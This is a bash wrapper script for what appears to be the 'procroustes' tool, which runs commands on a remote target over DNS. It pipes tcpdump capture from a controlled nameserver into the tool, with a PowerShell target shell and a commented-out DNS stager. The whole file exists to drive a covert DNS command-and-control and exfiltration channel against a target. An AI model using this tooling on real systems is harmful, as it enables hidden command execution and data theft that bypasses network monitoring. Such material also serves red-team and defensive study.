wrapper_targetX.sh

#!/bin/bash

#an optional helper script you can setup for a specific target that would allow
#the execution of commands on that target just by running: ./wrapper_targetX.sh ls -lh

cmd_prefix="ssh yourns 'stdbuf -oL tcpdump --immediate -l -i any udp port 53'|"

use_full_script=1 #chunked=0 full=!0
dns_host=yourdns.host
dns_trigger="dig @debug_server"
dispatcher=path/to/dispatcher
target_shell=powershell


#######staged params#######
#nsconfig=path/to/nsconfig
#stager_dns_cmd='Resolve-DnsName -Server debug_server -Name %host% -ty a|? Section -eq Answer|Select -Exp IPAddress'
######end of staged params#######



scr=./procroustes_full.sh
[[ $use_full_script -eq 0 ]] && scr=./procroustes_chunked.sh

#[[ -z $dns_host_ns ]] && dns_host_ns=$(dig +trace +time=3 +tries=1 ns $dns_host|grep d.b8.ee|grep NS|tail -n1|awk '{print $5}')


#prefix with e_ to have the output escaped
for var in "${!e_@}";do
    declare -n tmp="$var"
    tmp=$(printf %q "$tmp")
done

params=""
params="${params} -h '$dns_host'"
params="${params} -d '$dns_trigger'"
params="${params} -x '$dispatcher'"
params="${params} -w '$target_shell'"
[[ ! -z $nsconfig ]] && params="${params} -z '$nsconfig'"
[[ ! -z $stager_dns_cmd ]] && params="${params} -k '$stager_dns_cmd'"

printf '%s%s%s -- %q' "$cmd_prefix" "$scr" "$params" "$*"